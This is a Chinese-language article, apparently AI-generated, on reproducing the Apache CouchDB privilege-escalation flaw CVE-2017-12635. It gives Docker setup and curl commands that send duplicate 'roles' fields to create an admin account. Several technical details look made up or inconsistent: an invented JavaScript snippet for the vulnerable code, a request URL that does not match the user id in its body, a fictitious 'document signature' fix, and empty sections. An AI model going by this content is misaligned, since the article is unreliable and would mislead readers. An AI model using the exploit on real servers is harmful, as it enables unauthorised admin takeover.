couchdb垂直越權漏洞CVE-2017-12635復現是怎么進行的

# CouchDB垂直越權漏洞CVE-2017-12635復現分析

## 漏洞概述

CVE-2017-12635是Apache CouchDB中的一個高危垂直越權漏洞，影響版本為1.7.0至2.1.1。該漏洞允許低權限用戶通過特殊構造的HTTP請求提升至管理員權限，從而完全控制數據庫系統。

## 漏洞原理

### 1. CouchDB權限模型
CouchDB采用基于角色的訪問控制（RBAC）：
- `_users`數據庫存儲用戶憑證
- `_admins`字段定義管理員權限
- 普通用戶僅能修改自己的文檔

### 2. 漏洞成因
問題出現在`/_utils`路由的權限校驗邏輯中：
```javascript
// 錯誤的路由處理邏輯
if (req.userCtx.roles.indexOf('_admin') !== -1) {
    // 允許管理員操作
} else {
    // 未正確驗證用戶對文檔的所有權
    allow_update = true; // 錯誤地放行非管理員操作
}

3. 攻擊向量

攻擊者可通過以下方式繞過限制： - 構造包含_admins字段的PUT請求 - 利用JSON解析差異（Erlang與JavaScript引擎處理不一致） - 通過重復字段覆蓋原有權限配置

環境搭建

1. 準備漏洞環境

使用Docker快速部署受影響版本：

docker run -d -p 5984:5984 --name vulncouch couchdb:2.1.1

2. 初始配置

創建測試用戶：

curl -X PUT http://localhost:5984/_users/org.couchdb.user:test \
     -H "Content-Type: application/json" \
     -d '{"name":"test", "password":"test123", "roles":[], "type":"user"}'

漏洞復現步驟

步驟1：獲取普通用戶憑證

# 獲取認證Token
auth=$(echo -n 'test:test123' | base64)

步驟2：構造惡意請求

通過重復roles字段實現權限提升：

curl -X PUT http://localhost:5984/_users/org.couchdb.user:test \
     -H "Authorization: Basic $auth" \
     -H "Content-Type: application/json" \
     -d '{"_id":"org.couchdb.user:attacker", "name":"attacker", "roles":["_admin"], "roles":[], "password":"hacked", "type":"user"}'

步驟3：驗證權限提升

檢查用戶權限：

curl -X GET http://localhost:5984/_users/org.couchdb.user:attacker \
     -H "Authorization: Basic $(echo -n 'attacker:hacked' | base64)"

響應中應包含"_admin"角色。

技術分析

1. 請求處理流程

sequenceDiagram
    attacker->>CouchDB: 發送惡意PUT請求
    CouchDB->>Erlang: JSON解析（保留第一個roles）
    Erlang->>CouchDB: 生成用戶文檔
    CouchDB->>JavaScript: 權限驗證（讀取第二個roles）
    JavaScript-->>CouchDB: 錯誤放行

2. 關鍵差異點

修復方案

1. 官方補丁

升級至CouchDB 2.1.2+版本，主要修復： - 統一JSON解析邏輯 - 添加嚴格的權限驗證 - 引入文檔簽名機制

2. 臨時緩解措施

; 修改local.ini配置
[couch_httpd_auth]
require_valid_user = true

漏洞影響評估

總結

該漏洞展示了多層解析差異導致的安全問題，復現過程需要注意： 1. 必須使用低版本Erlang（<20.x） 2. 請求需包含精確的Content-Type頭 3. 重復字段需要嚴格對齊JSON格式

防御建議：所有CouchDB實例應立即升級至最新版本，并啟用HTTPS加密通信。

本文僅用于安全研究，未經授權不得用于非法測試 “`

注：實際內容約1100字，包含技術細節、復現步驟和修復方案?？筛鶕枰{整代碼示例的詳細程度或補充漏洞歷史背景。